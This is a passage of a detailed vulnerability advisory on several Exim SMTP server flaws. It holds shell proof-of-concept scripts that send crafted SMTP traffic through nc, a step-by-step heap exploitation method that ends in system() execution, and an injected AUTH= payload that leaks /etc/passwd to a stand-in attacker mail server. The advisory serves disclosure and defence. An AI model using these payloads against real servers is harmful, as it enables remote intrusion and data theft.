916 attacker to obtain full root privileges. We have not tried to exploit
917 this vulnerability, because it took more than 5 days to overflow the
918 integer g->size. Indeed, the loop in get_stdinput() has an O(n^2) time
919 complexity: for each line that is read, store_newblock() allocates a new
920 block of memory (at line 511) and recopies the entire contents of the
921 growable string (at line 513).
922
923 ------------------------------------------------------------------------
924 Proof of concept
925 ------------------------------------------------------------------------
926
927 id
928 uid=1001(jane) gid=1001(jane) groups=1001(jane)
929
930 (
931 for ((i=0; i<4096; i++)); do
932 echo "`date` $i" >&2;
933 perl -e 'print "\\" x 1048576';
934 done
935 ) | /usr/sbin/exim4 -bt | wc
936
937 Program received signal SIGSEGV, Segmentation fault.
938
939
940
941 ========================================================================
942 CVE-2020-28017: Integer overflow in receive_add_recipient()
943 ========================================================================
944
945 By default, Exim does not limit the number of recipients (the number of
946 valid RCPT TO commands) for a mail. But after 52428800 (50M) recipients,
947 the multiplication at line 492 overflows, and the size that is passed to
948 store_get() becomes negative (2*50M * 40B = -96MB):
949
950 ------------------------------------------------------------------------
951  484 void
952  485 receive_add_recipient(uschar *recipient, int pno)
953  486 {
954  487 if (recipients_count >= recipients_list_max)
955  488   {
956  489   recipient_item *oldlist = recipients_list;
957  490   int oldmax = recipients_list_max;
958  491   recipients_list_max = recipients_list_max ? 2*recipients_list_max : 50;
959  492   recipients_list = store_get(recipients_list_max * sizeof(recipient_item));
960  493   if (oldlist != NULL)
961  494     memcpy(recipients_list, oldlist, oldmax * sizeof(recipient_item));
962  495   }
963 ------------------------------------------------------------------------
964
965 - at line 492, store_get() back-jumps the current block of memory
966   (Digression 1b), by -96MB;
967
968 - at line 494, memcpy() forward-overflows the current block of memory
969   (Digression 1a), by nearly 2GB (50M * 40B = 2000MB).
970
971 Initially, we thought that CVE-2020-28017 would be the perfect
972 vulnerability:
973
974 - it affects all versions of Exim (since at least the beginning of its
975   Git history in 2004);
976
977 - it is certainly exploitable (an unauthenticated RCE as the "exim"
978   user): the forward-overflow can be absorbed to avoid a crash, and the
979   back-jump can be directed onto Exim's configuration (Digression 2);
980
981 - a back-of-the-envelope calculation suggested that an exploit would
982   require "only" 6GB of memory: 2*2GB for all the recipients_lists, and
983   2GB of recipient addresses to absorb the forward-overflow.
984
985 Eventually, however, we abandoned the exploitation of CVE-2020-28017:
986
987 - On Exim 4.89 (Debian oldstable), the ACLs (Access Control Lists) for
988   the RCPT TO command consume approximately 512 bytes per recipient: an
989   exploit would require more than 50M * 512B = 25GB of memory. Instead,
990   we decided to exploit another vulnerability, CVE-2020-28020, which
991   requires only 3GB of memory.
992
993 - On Exim 4.92 (Debian stable), the ACLs for RCPT TO consume at least
994   4KB per recipient. Indeed, this version's string_sprintf() allocates a
995   whole new 32KB memory block, but uses only one page (4KB): an exploit
996   would require more than 50M * 4KB = 200GB of memory.
997
998 - On Exim 4.94 (Debian testing), the problem with string_sprintf() was
999   solved, and an exploit would therefore require "only" 25GB of memory.
1000   However, the "tainted" checks create another problem: each RCPT TO
1001   allocates T blocks of tainted memory, and makes U is_tainted() checks
1002   on untainted memory, but each check traverses the complete linked list
1003   of tainted memory blocks. For n recipients, this has an O(n^2) time
1004   complexity (roughly U*T*(n^2)/2): it would take months to reach 50M
1005   recipients.
1006
1007 CVE-2020-28017 is also exploitable locally (through -bS and
1008 smtp_setup_batch_msg(), which does not have ACLs), and would allow an
1009 unprivileged local attacker to obtain the privileges of the "exim" user.
1010 But better vulnerabilities exist: CVE-2020-28015 and CVE-2020-28012 are
1011 locally exploitable and yield full root privileges.
1012
1013 ------------------------------------------------------------------------
1014 Proof of concept
1015 ------------------------------------------------------------------------
1016
1017 id
1018 uid=1001(jane) gid=1001(jane) groups=1001(jane)
1019
1020 (
1021 sleep 10;
1022 echo 'EHLO test';
1023 sleep 3;
1024 echo 'MAIL FROM:<>';
1025 sleep 3;
1026 for ((i=0; i<64000000; i++)); do
1027 [ "$((i%1000000))" -eq 0 ] && echo "`date` $i" >&2;
1028 echo 'RCPT TO:lp@localhost';
1029 done
1030 ) | /usr/sbin/exim4 -bS | wc
1031
1032 Program received signal SIGSEGV, Segmentation fault.
1033
1034
1035
1036 ========================================================================
1037 CVE-2020-28020: Integer overflow in receive_msg()
1038 ========================================================================
1039
1040 During our work on Exim, we stumbled across the following commit:
1041
1042 ------------------------------------------------------------------------
1043 commit 56ac062a3ff94fc4e1bbfc2293119c079a4e980b
1044 Date:   Thu Jan 10 21:15:11 2019 +0000
1045 ...
1046 +JH/41 Fix the loop reading a message header line to check for integer overflow,
1047 +      and more-often against header_maxsize.  Previously a crafted message could
1048 +      induce a crash of the recive process; now the message is cleanly rejected.
1049 ...
1050 +    if (header_size >= INT_MAX/2)
1051 +      goto OVERSIZE;
1052      header_size *= 2;
1053 ------------------------------------------------------------------------
1054
1055 This vulnerability is exploitable in all Exim versions before 4.92 and
1056 allows an unauthenticated remote attacker to execute arbitrary commands
1057 as the "exim" user. Because this commit was not identified as a security
1058 patch, it was not backported to LTS (Long Term Support) distributions.
1059 For example, Debian oldstable's package (exim4_4.89-2+deb9u7) contains
1060 all known security patches, but is vulnerable to CVE-2020-28020 and
1061 hence remotely exploitable.
1062
1063 By default, Exim limits the size of a mail header to 1MB
1064 (header_maxsize). Unfortunately, an attacker can bypass this limit by
1065 sending only continuation lines (i.e., '\n' followed by ' ' or '\t'),
1066 thereby overflowing the integer header_size at line 1782:
1067
1068 ------------------------------------------------------------------------
1069 1778   if (ptr >= header_size - 4)
1070 1779     {
1071 1780     int oldsize = header_size;
1072 1781     /* header_size += 256; */
1073 1782     header_size *= 2;
1074 1783     if (!store_extend(next->text, oldsize, header_size))
1075 1784       {
1076 1785       BOOL release_ok = store_last_get[store_pool] == next->text;
1077 1786       uschar *newtext = store_get(header_size);
1078 1787       memcpy(newtext, next->text, ptr);
1079 1788       if (release_ok) store_release(next->text);
1080 1789       next->text = newtext;
1081 1790       }
1082 1791     }
1083 ------------------------------------------------------------------------
1084
1085 Ironically, this vulnerability was the most difficult to exploit:
1086
1087 - when the integer header_size overflows, it becomes negative (INT_MIN),
1088   but we cannot exploit the resulting back-jump at line 1786 (Digression
1089   1b), because the free size of the current memory block also becomes
1090   negative (because 0 - INT_MIN = INT_MIN, the "Leblancian Paradox"),
1091   which prevents us from writing to this back-jumped memory block;
1092
1093 - to overflow the integer header_size, we must send 1GB to Exim:
1094   consequently, our exploit must succeed after only a few tries (in
1095   particular, we cannot brute-force ASLR).
1096
1097 Note: we can actually overflow header_size with 1GB / 2 = 512MB; if we
1098 send a first line that ends with "\r\n", then Exim transforms every bare
1099 '\n' that we send into "\n " (a continuation line):
1100
1101 ------------------------------------------------------------------------
1102 1814   if (ch == '\n')
1103 1815     {
1104 1816     if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = FALSE;
1105 1817       else if (first_line_ended_crlf) receive_ungetc(' ');
1106 ------------------------------------------------------------------------
1107
1108 ------------------------------------------------------------------------
1109 Proof of concept
1110 ------------------------------------------------------------------------
1111
1112 (
1113 sleep 10;
1114 echo 'EHLO test';
1115 sleep 3;
1116 echo 'MAIL FROM:<>';
1117 sleep 3;
1118 echo 'RCPT TO:postmaster';
1119 sleep 3;
1120 echo 'DATA';
1121 sleep 3;
1122 printf 'first_line_ended_crlf:TRUE\r\n \n\n\r\nPDKIM_ERR_LONG_LINE:';
1123 perl -e 'print "a" x 16384';
1124 printf '\r\nvery_long_header:';
1125 for ((i=0; i<64; i++)); do
1126 echo "`date` $i" >&2;
1127 perl -e 'print "\n" x 16777216';
1128 done
1129 ) | nc -n -v 192.168.56.103 25
1130
1131 Program received signal SIGSEGV, Segmentation fault.
1132
1133 ------------------------------------------------------------------------
1134 Exploitation
1135 ------------------------------------------------------------------------
1136
1137 To exploit this vulnerability (on Debian oldstable, for example):
1138
1139 1/ We send three separate mails (in the same SMTP session) to achieve
1140 the following memory layout:
1141
1142                               mmap memory
1143 -----|-------------------|-------------------|-------------------|-----
1144  ... |n|l|    mblock3    |n|l|    mblock2    |n|l|    mblock1    | ...
1145 -----|-------------------|-------------------|+------------------|-----
1146                                               |
1147                               heap memory     |
1148                     -------------------------|v-------------|-----
1149                      ... |N|L|N|L|N|L|N|L|N|L|n|l|  hblock  | ...
1150                     -------------------------|--------------|-----
1151                          <- fake storeblock ->
1152
1153 where n and l are the next and length members of a storeblock structure
1154 (a linked list of allocated memory blocks):
1155
1156 ------------------------------------------------------------------------
1157  71 typedef struct storeblock {
1158  72   struct storeblock *next;
1159  73   size_t length;
1160  74 } storeblock;
1161 ------------------------------------------------------------------------
1162
1163 - we first allocate a 1GB mmap block (mblock1) by sending a mail that
1164   contains a 256MB header of bare '\n' characters; the next member of
1165   mblock1's storeblock structure initially points to a heap block
1166   (hblock, which immediately follows data that we control);
1167
1168 - we allocate a second 1GB mmap block (mblock2) by sending a mail that
1169   also contains a 256MB header of bare '\n' characters;
1170
1171 - we allocate a third 1GB mmap block (mblock3) by sending a mail that
1172   contains a 512MB header; this overflows the integer header_size, and
1173   forward-overflows mblock3 (Digression 1a), into mblock2 and mblock1:
1174   we overwrite mblock2's next pointer with NULL (to avoid a crash in
1175   store_release() at line 1788) and we partially overwrite mblock1's
1176   next pointer (with a single null byte).
1177
1178 2/ After this overflow, store_reset() traverses the linked list of
1179 allocated memory blocks and follows mblock1's overwritten next pointer,
1180 to our own "fake storeblock" structure: a NULL next pointer N (to avoid
1181 a crash in store_reset()), and a large length L that covers the entire
1182 address space (for example, 0x7050505070505050). As a result, Exim's
1183 allocator believes that the entire heap is one large, free block of
1184 POOL_MAIN memory (Exim's main type of memory allocations).
1185
1186 This powerful exploit primitive gives us write access to the entire
1187 heap, through POOL_MAIN allocations. But the heap also contains other
1188 types of allocations: we exploit this primitive to overwrite POOL_MAIN
1189 allocations with raw malloc()s (for information disclosure) and to
1190 overwrite POOL_PERM allocations with POOL_MAIN allocations (for
1191 arbitrary code execution).
1192
1193 3/ Information disclosure:
1194
1195 - First, we send an EHLO command that allocates a large string in raw
1196   malloc() memory.
1197
1198 - Second, we send an invalid RCPT TO command that allocates a small
1199   string in POOL_MAIN memory (an error message); this small POOL_MAIN
1200   string overwrites the beginning of the large malloc() string.
1201
1202 - Next, we send an invalid EHLO command that free()s the large malloc()
1203   string; this free() overwrites the beginning of the small POOL_MAIN
1204   string with a pointer to the libc (a member of libc's malloc_chunk
1205   structure).
1206
1207 - Last, we send an invalid DATA command that responds with an error
1208   message: the small, overwritten POOL_MAIN string, and hence the libc
1209   pointer. This information leak is essentially the technique that we
1210   used for CVE-2015-0235 (GHOST).
1211
1212 4/ Arbitrary code execution:
1213
1214 - First, we start a new mail (MAIL FROM, RCPT TO, and DATA commands);
1215   this calls dkim_exim_verify_init() and allocates a pdkim_ctx structure
1216   in POOL_PERM memory (DKIM is enabled by default since Exim 4.70):
1217
1218 ------------------------------------------------------------------------
1219 249 typedef struct pdkim_ctx {
1220 ...
1221 263   int(*dns_txt_callback)(char *, char *);
1222 ...
1223 274 } pdkim_ctx;
1224 ------------------------------------------------------------------------
1225
1226 - Second, we send a mail header that is allocated to POOL_MAIN memory,
1227   and overwrite the pdkim_ctx structure: we overwrite dns_txt_callback
1228   with a pointer to libc's system() function (we derive this pointer
1229   from the information-leaked libc pointer).
1230
1231 - Next, we send a "DKIM-Signature:" header (we particularly care about
1232   its "selector" field).
1233
1234 - Last, we end our mail; this calls dkim_exim_verify_finish(), which
1235   calls the overwritten dns_txt_callback with a first argument that we
1236   control (through the selector field of our "DKIM-Signature:" header):
1237
1238 ------------------------------------------------------------------------
1239 1328 dns_txt_name = string_sprintf("%s._domainkey.%s.", sig->selector, sig->domain);
1240 ....
1241 1333 if (  ctx->dns_txt_callback(CS dns_txt_name, CS dns_txt_reply) != PDKIM_OK
1242 ------------------------------------------------------------------------
1243
1244   In other words, we execute system() with an arbitrary command.
1245
1246
1247
1248 ========================================================================
1249 CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()
1250 ========================================================================
1251
1252 In smtp_setup_msg(), which reads the SMTP commands sent by a client to
1253 the Exim server:
1254
1255 ------------------------------------------------------------------------
1256 1455 int     smtp_ch_index          = 0;
1257 ....
1258 1459 uschar  smtp_connection_had[SMTP_HBUFF_SIZE];
1259 ------------------------------------------------------------------------
1260  126 #define HAD(n) \
1261  127     smtp_connection_had[smtp_ch_index++] = n; \
1262  128     if (smtp_ch_index >= SMTP_HBUFF_SIZE) smtp_ch_index = 0
1263 ....
1264 5283     case DATA_CMD:
1265 5284       HAD(SCH_DATA);
1266 ....
1267 5305           smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE,
1268 5306             smtp_names[smtp_connection_had[smtp_ch_index-1]]);
1269 ------------------------------------------------------------------------
1270
1271 - line 5284 (line 128 in HAD()) can reset smtp_ch_index to 0 (an index
1272   into the circular buffer smtp_connection_had[]);
1273
1274 - line 5306 therefore reads smtp_connection_had[-1] out-of-bounds (an
1275   unsigned char index into the array smtp_names[]);
1276
1277 - depending on the value of this unsigned char index, line 5306 may also
1278   read smtp_names[smtp_connection_had[-1]] out-of-bounds (a pointer to a
1279   string);
1280
1281 - and line 5305 sends this string to the SMTP client and may therefore
1282   disclose sensitive information to an unauthenticated remote attacker.
1283
1284 On Debian, this out-of-bounds read is not exploitable, because
1285 smtp_connection_had[-1] is always 0 and line 5305 sends smtp_names[0]
1286 ("NONE") to the client. However, the memory layout of the Exim binary
1287 may be more favorable to attackers on other operating systems.
1288
1289 ------------------------------------------------------------------------
1290 Proof of concept
1291 ------------------------------------------------------------------------
1292
1293 (
1294 sleep 10;
1295 echo 'EHLO test';
1296 sleep 3;
1297 echo 'MAIL FROM:<>';
1298 sleep 3;
1299 for ((i=0; i<20-3; i++)); do
1300 echo 'RCPT TO:nonexistent';
1301 done;
1302 sleep 3;
1303 echo 'DATA';
1304 sleep 3
1305 ) | nc -n -v 192.168.56.101 25
1306 ...
1307 503-All RCPT commands were rejected with this error:
1308 503-501 nonexistent: recipient address must contain a domain
1309 503 Valid RCPT command must precede NONE
1310
1311 ------------------------------------------------------------------------
1312 History
1313 ------------------------------------------------------------------------
1314
1315 This vulnerability was introduced in Exim 4.88:
1316
1317 ------------------------------------------------------------------------
1318 commit 18481de384caecff421f23f715be916403f5d0ee
1319 Date:   Mon Jul 11 23:36:45 2016 +0100
1320 ...
1321 -        smtp_printf("503 Valid RCPT command must precede DATA\r\n");
1322 +        smtp_printf("503 Valid RCPT command must precede %s\r\n",
1323 +         smtp_names[smtp_connection_had[smtp_ch_index-1]]);
1324 ------------------------------------------------------------------------
1325
1326 and was independently discovered by Exim's developers in July 2020:
1327
1328 ------------------------------------------------------------------------
1329 commit afaf5a50b05810d75c1f7ae9d1cd83697815a997
1330 Date:   Thu Jul 23 16:32:29 2020 +0100
1331 ...
1332 +#define SMTP_HBUFF_PREV(n)     ((n) ? (n)-1 : SMTP_HBUFF_SIZE-1)
1333 ...
1334           smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE,
1335 -           smtp_names[smtp_connection_had[smtp_ch_index-1]]);
1336 +           smtp_names[smtp_connection_had[SMTP_HBUFF_PREV(smtp_ch_index)]]);
1337 ------------------------------------------------------------------------
1338
1339
1340
1341 ========================================================================
1342 CVE-2020-28021: New-line injection into spool header file (remote)
1343 ========================================================================
1344
1345 An authenticated SMTP client can add an AUTH= parameter to its MAIL FROM
1346 command. This AUTH= parameter is decoded by auth_xtextdecode():
1347
1348 ------------------------------------------------------------------------
1349 4697           case ENV_MAIL_OPT_AUTH:
1350 ....
1351 4703               if (auth_xtextdecode(value, &authenticated_sender) < 0)
1352 ------------------------------------------------------------------------
1353
1354 and the resulting authenticated_sender is written to the spool header
1355 file without encoding or escaping:
1356
1357 ------------------------------------------------------------------------
1358 212 if (authenticated_sender)
1359 213   fprintf(fp, "-auth_sender %s\n", authenticated_sender);
1360 ------------------------------------------------------------------------
1361
1362 Unfortunately, authenticated_sender can contain arbitrary characters,
1363 because auth_xtextdecode() translates hexadecimal +XY sequences into
1364 equivalent characters (for example, +0A into '\n'): an authenticated
1365 remote attacker can inject new lines into the spool header file and
1366 execute arbitrary commands, as root.
1367
1368 This vulnerability is particularly problematic for Internet service
1369 providers and mail providers that deploy Exim and offer mail accounts
1370 but not shell accounts. It is also problematic when combined with an
1371 authentication bypass such as CVE-2020-12783, discovered by Orange Tsai
1372 in May 2020 (https://bugs.exim.org/show_bug.cgi?id=2571).
1373
1374 ------------------------------------------------------------------------
1375 Proof of concept
1376 ------------------------------------------------------------------------
1377
1378 nc -n -v 192.168.56.101 25
1379 ...
1380 EHLO test
1381 ...
1382 250-AUTH PLAIN
1383 ...
1384 AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0
1385 235 Authentication succeeded
1386 MAIL FROM:<> AUTH=Raven+0AReyes
1387 250 OK
1388 RCPT TO:postmaster
1389 250 Accepted
1390 DATA
1391 354 Enter message, ending with "." on a line by itself
1392 .
1393 250 OK id=1kb6VC-0003BW-Rg
1394
1395 2020-11-06 13:30:42 1kb6VC-0003BW-Rg Format error in spool file 1kb6VC-0003BW-Rg-H: size=530
1396
1397 ------------------------------------------------------------------------
1398 Exploitation
1399 ------------------------------------------------------------------------
1400
1401 Our exploit for CVE-2020-28021 is essentially the same as our exploit
1402 for CVE-2020-28015. The main difference is that Exim's ACLs limit the
1403 length of our header lines to 998 characters. However, this limit can be
1404 easily bypassed, by splitting long header lines into 990-character lines
1405 separated by "\n " (i.e., continuation lines).
1406
1407 We can also transform CVE-2020-28021 into an information disclosure:
1408
1409 - First, we inject an arbitrary recipient line into the spool header
1410   file: an arbitrary recipient address (for example, attacker@fake.com)
1411   and an errors_to string that is read out-of-bounds (the same technique
1412   as for CVE-2020-28015).
1413
1414 - Next, we wait for Exim to connect to our own mail server, fake.com's
1415   MX (we use https://github.com/iphelix/dnschef to set up a quick and
1416   easy DNS server).
1417
1418 - Last, we retrieve the out-of-bounds errors_to string from Exim's MAIL
1419   FROM command (which, in this example, contains a fragment of
1420   /etc/passwd):
1421
1422 ------------------------------------------------------------------------
1423 (
1424 sleep 10;
1425 echo 'EHLO test';
1426 sleep 3;
1427 echo 'AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0';
1428 sleep 3;
1429 echo 'MAIL FROM:<> AUTH=x+0AXX+0A1+0Aattacker@fake.com+208192,-1#1+0A+0A990*';
1430 sleep 3;
1431 echo 'RCPT TO:postmaster';
1432 sleep 3;
1433 echo 'DATA';
1434 sleep 3;
1435 printf 'Message-Id: X\n';
1436 printf 'From: X@localhost\n';
1437 printf 'Date: X\n';
1438 printf 'X:%0990d2* X\n' 0;
1439 echo '.';
1440 sleep 10
1441 ) | nc -n -v 192.168.56.101 25
1442
1443 nc -n -v -l 25
1444 ...
1445 Ncat: Connection from 192.168.56.101.
1446 ...
1447 MAIL FROM:<s:x:3:
1448 adm:x:4:
1449 tty:x:5:
1450 ...
1451 Debian-exim:x:114:
1452 jane:x:1001:
1453 ...
1454 Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin
1455 jane:x:1001:1001:,,,:/home/jane:/bin/bash
1456 >
1457 ...
1458 RCPT TO:<attacker@fake.com>
1459 ...
1460 ------------------------------------------------------------------------
1461
1462
1463
1464 ========================================================================
1465 CVE-2020-28022: Heap out-of-bounds read and write in extract_option()
1466 ========================================================================
1467
1468 The name=value parameters such as AUTH= are extracted from MAIL FROM and
1469 RCPT TO commands by extract_option():
1470
1471 ------------------------------------------------------------------------
1472 1994 static BOOL
1473 1995 extract_option(uschar **name, uschar **value)
1474 1996 {
1475 1997 uschar *n;
1476 1998 uschar *v = smtp_cmd_data + Ustrlen(smtp_cmd_data) - 1;
1477 ....
1478 2001 while (v > smtp_cmd_data && *v != '=' && !isspace(*v))
1479 2002   {
1480 ....
1481 2005   if (*v == '"') do v--; while (*v != '"' && v > smtp_cmd_data+1);
1482 2006   v--;
1483 2007   }
1484 2008 
1485 2009 n = v;
1486 ------------------------------------------------------------------------
1487
1488 Unfortunately, this function can decrease v (value) and hence n (name)
1489 out of smtp_cmd_data's bounds (into the preceding smtp_cmd_buffer):
1490
1491 - at line 2001, v can point to smtp_cmd_data + 1;
1492
1493 - at line 2005, v-- decrements v to smtp_cmd_data;
1494
1495 - at line 2006, v-- decrements v to smtp_cmd_data - 1.
1496
1497 Subsequently, the code in extract_option() and smtp_setup_msg() reads
1498 from and writes to v and n out of smtp_cmd_data's bounds.
1499
1500 If exploitable, this vulnerability would allow an unauthenticated remote
1501 attacker to execute arbitrary commands as the "exim" user. So far we
1502 were unable to exploit this vulnerability: although we are able to
1503 decrease v and n out of smtp_cmd_data's bounds, we were unable to
1504 decrease v or n out of the preceding smtp_cmd_buffer's bounds.
1505 Surprisingly, however, we do use this vulnerability in our
1506 proof-of-concept for CVE-2020-28026.
1507
1508 ------------------------------------------------------------------------
1509 History
1510 ------------------------------------------------------------------------
1511
1512 This vulnerability was introduced in Exim 4.89:
1513
1514 ------------------------------------------------------------------------
1515 commit d7a2c8337f7b615763d4429ab27653862756b6fb
1516 Date:   Tue Jan 24 18:17:10 2017 +0000
1517 ...
1518 -while (v > smtp_cmd_data && *v != '=' && !isspace(*v)) v--;
1519 +while (v > smtp_cmd_data && *v != '=' && !isspace(*v))
1520 +  {
1521 +  /* Take care to not stop at a space embedded in a quoted local-part */
1522 +
1523 +  if (*v == '"') do v--; while (*v != '"' && v > smtp_cmd_data+1);
1524 +  v--;
1525 +  }
1526 ------------------------------------------------------------------------
1527
1528
1529
1530 ========================================================================
1531 CVE-2020-28026: Line truncation and injection in spool_read_header()
1532 ========================================================================
1533
1534 spool_read_header() calls fgets() to read the lines from a spool header
1535 file into the 16KB big_buffer. The first section of spool_read_header()
1536 enlarges big_buffer dynamically if fgets() truncates a line (if a line
1537 is longer than 16KB):
1538
1539 ------------------------------------------------------------------------
1540  460   if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
1541  ...
1542  462   while (  (len = Ustrlen(big_buffer)) == big_buffer_size-1
1543  463         && big_buffer[len-1] != '\n'
1544  ...
1545  468     buf = store_get_perm(big_buffer_size *= 2, FALSE);
1546 ------------------------------------------------------------------------
1547
1548 Unfortunately, the second section of spool_read_header() does not
1549 enlarge big_buffer:
1550
1551 ------------------------------------------------------------------------
1552  756 for (recipients_count = 0; recipients_count < rcount; recipients_count++)
1553  ...
1554  765   if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
1555 ------------------------------------------------------------------------
1556
1557 If DSN (Delivery Status Notification) is enabled (it is disabled by
1558 default), an attacker can send a RCPT TO command with a long ORCPT=
1559 parameter that is written to the spool header file by
1560 spool_write_header():
1561
1562 ------------------------------------------------------------------------
1563 292 for (int i = 0; i < recipients_count; i++)
1564 293   {
1565 294   recipient_item *r = recipients_list + i;
1566 ...
1567 302     uschar * errors_to = r->errors_to ? r->errors_to : US"";
1568 ...
1569 305     uschar * orcpt = r->orcpt ? r->orcpt : US"";
1570 306 
1571 307     fprintf(fp, "%s %s %d,%d %s %d,%d#3\n", r->address, orcpt, Ustrlen(orcpt),
1572 308       r->dsn_flags, errors_to, Ustrlen(errors_to), r->pno);
1573 ------------------------------------------------------------------------
1574
1575 This long ORCPT= parameter truncates the recipient line (when read by
1576 fgets() in spool_read_header()) and injects the remainder of the line as
1577 a separate line, thereby emulating the '\n' injection of CVE-2020-28015
1578 and CVE-2020-28021 (albeit in a weaker form).
1579
1580 We have not tried to exploit this vulnerability; if exploitable, it
1581 would allow an unauthenticated remote attacker to execute arbitrary
1582 commands as root (if DSN is enabled).
1583
1584 ------------------------------------------------------------------------
1585 Proof of concept
1586 ------------------------------------------------------------------------
1587
1588 - Intuitively, it seems impossible to generate a recipient line longer
1589   than 16KB (big_buffer_size), because the Exim server reads our RCPT TO
1590   command into a 16KB buffer (smtp_cmd_buffer) that must also contain
1591   (besides our long ORCPT= parameter) "RCPT TO:", "NOTIFY=DELAY", and
1592   the recipient address.
1593
1594 - We can, however, use the special recipient "postmaster", which is
1595   automatically qualified (by appending Exim's primary hostname) before
1596   it is written to the spool header file. This allows us to enlarge the
1597   recipient line, but is not sufficient to control the end of the
1598   truncated line (unless Exim's primary hostname is longer than 24
1599   bytes, which is very unlikely).
1600
1601 - But we can do better: we can use CVE-2020-28022 to read our ORCPT=
1602   parameter out of smtp_cmd_data's bounds (from the end of the preceding
1603   smtp_cmd_buffer). This allows us to further enlarge the recipient line
1604   (by 10 bytes, because "postmaster" is now included in our ORCPT=), but
1605   is not sufficient to reliably control the end of the truncated line
1606   (unless Exim's primary hostname is longer than 14 bytes, which is
1607   still very unlikely).
1608
1609 - But we can do much better: we do not need postmaster's automatic
1610   qualification anymore, because the recipient is now included in our
1611   ORCPT= parameter -- the longer the recipient, the better. On Debian,
1612   the user "systemd-timesync" exists by default, and "localhost" is one
1613   of Exim's local_domains: the recipient "systemd-timesync@localhost" is
1614   long enough to reliably control the end of the truncated recipient
1615   line, and allows us to read and write out of big_buffer's bounds
1616   (lines 859 and 863, and beyond):
1617
1618 ------------------------------------------------------------------------
1619  840   else if (*p == '#')
1620  ...
1621  848     (void)sscanf(CS p+1, "%d", &flags);
1622  849 
1623  850     if ((flags & 0x01) != 0)      /* one_time data exists */
1624  851       {
1625  852       int len;
1626  853       while (isdigit(*(--p)) || *p == ',' || *p == '-');
1627  854       (void)sscanf(CS p+1, "%d,%d", &len, &pno);
1628  855       *p = 0;
1629  856       if (len > 0)
1630  857         {
1631  858         p -= len;
1632  859         errors_to = string_copy_taint(p, TRUE);
1633  860         }
1634  861       }
1635  862 
1636  863     *(--p) = 0;   /* Terminate address */
1637 ------------------------------------------------------------------------
1638
1639 For example, the following proof-of-concept accesses memory at 1MB below
1640 big_buffer:
1641
1642 ------------------------------------------------------------------------
1643 (
1644 sleep 10;
1645 echo 'EHLO test';
1646 sleep 3;
1647 echo 'MAIL FROM:<>';
1648 sleep 3;
1649 perl -e 'print "NOOP"; print " " x (16384-9); print "ORCPT\n"';
1650 sleep 3;
1651 echo 'RCPT TO:x"';
1652 sleep 3;
1653 perl -e 'print "RCPT TO:(\")systemd-timesync\@localhost("; print "A" x (16384-74); print "xxx1048576,-1#1x NOTIFY=DELAY\n"';
1654 sleep 3;
1655 echo 'DATA';
1656 sleep 3;
1657 echo '.';
1658 sleep 10
1659 ) | nc -n -v 192.168.56.101 25
1660
1661 Program received signal SIGSEGV, Segmentation fault.
1662 ------------------------------------------------------------------------
1663
1664
1665
1666 ========================================================================
1667 CVE-2020-28019: Failure to reset function pointer after BDAT error
1668 ========================================================================
1669
1670 To read SMTP commands and data from a client, Exim calls the function
1671 pointer receive_getc, which points to either smtp_getc() (a cleartext
1672 connection) or tls_getc() (an encrypted connection). If the client uses
1673 the BDAT command (instead of DATA) to send a mail, then Exim saves the
1674 current value of receive_getc to the function pointer lwr_receive_getc
1675 and sets receive_getc to the wrapper function bdat_getc():
1676
1677 ------------------------------------------------------------------------
1678 5242     case BDAT_CMD:
1679 ....
1680 5271       lwr_receive_getc = receive_getc;
1681 ....
1682 5275       receive_getc = bdat_getc;
1683 ------------------------------------------------------------------------
1684
1685 Exim normally resets receive_getc to its original value
1686 (lwr_receive_getc) when the client ends its mail. Unfortunately, Exim
1687 fails to reset receive_getc in some cases; for example, if the mail is
1688 larger than message_size_limit (50MB by default). Consequently, Exim
1689 re-enters smtp_setup_msg() while receive_getc still points to
1690 bdat_getc(), and:
1691
1692 - smtp_read_command() calls receive_getc and hence bdat_getc(), which
1693   also calls smtp_read_command(), which is not a re-entrant function and
1694   may have unintended consequences;
1695
1696 - if the client issues another BDAT command, then receive_getc and
1697   lwr_receive_getc both point to bdat_getc(), which calls itself
1698   recursively and leads to stack exhaustion; for example:
1699
1700 ------------------------------------------------------------------------
1701 (
1702 sleep 10;
1703 echo 'EHLO test';
1704 sleep 3;
1705 echo 'MAIL FROM:<>';
1706 sleep 3;
1707 echo 'RCPT TO:postmaster';
1708 sleep 3;
1709 echo "BDAT $((52428800+100))";
1710 perl -e 'print "A" x (52428800+1)';
1711 sleep 3;
1712 echo 'MAIL FROM:<>';
1713 sleep 3;
1714 echo 'RCPT TO:postmaster';
1715 sleep 3;
1716 echo 'BDAT 8388608'
1717 ) | nc -n -v 192.168.56.101 25
1718
1719 Program received signal SIGSEGV, Segmentation fault.
1720 ------------------------------------------------------------------------
1721
1722 This vulnerability is very similar to CVE-2017-16944, discovered by Meh
1723 Chang in November 2017 (https://bugs.exim.org/show_bug.cgi?id=2201).
1724
1725 ------------------------------------------------------------------------
1726 History
1727 ------------------------------------------------------------------------
1728
1729 This vulnerability was introduced in Exim 4.88:
1730
1731 ------------------------------------------------------------------------
1732 commit 7e3ce68e68ab9b8906a637d352993abf361554e2
1733 Date:   Wed Jul 13 21:28:18 2016 +0100
1734 ...
1735 +      lwr_receive_getc = receive_getc;
1736 +      lwr_receive_ungetc = receive_ungetc;
1737 +      receive_getc = bdat_getc;
1738 +      receive_ungetc = bdat_ungetc;
1739 ------------------------------------------------------------------------
1740
1741
1742
1743 ========================================================================
1744 CVE-2020-28024: Heap buffer underflow in smtp_ungetc()
1745 ========================================================================
1746
1747 Exim calls smtp_refill() to read input characters from an SMTP client
1748 into the 8KB smtp_inbuffer, and calls smtp_getc() to read individual
1749 characters from smtp_inbuffer:
1750
1751 ------------------------------------------------------------------------
1752  501 static BOOL
1753  502 smtp_refill(unsigned lim)
1754  503 {
1755  ...
1756  512 rc = read(fileno(smtp_in), smtp_inbuffer, MIN(IN_BUFFER_SIZE-1, lim));
1757  ...
1758  515 if (rc <= 0)
1759  516   {
1760  ...
1761  536   return FALSE;
1762  537   }
1763  ...
1764  541 smtp_inend = smtp_inbuffer + rc;
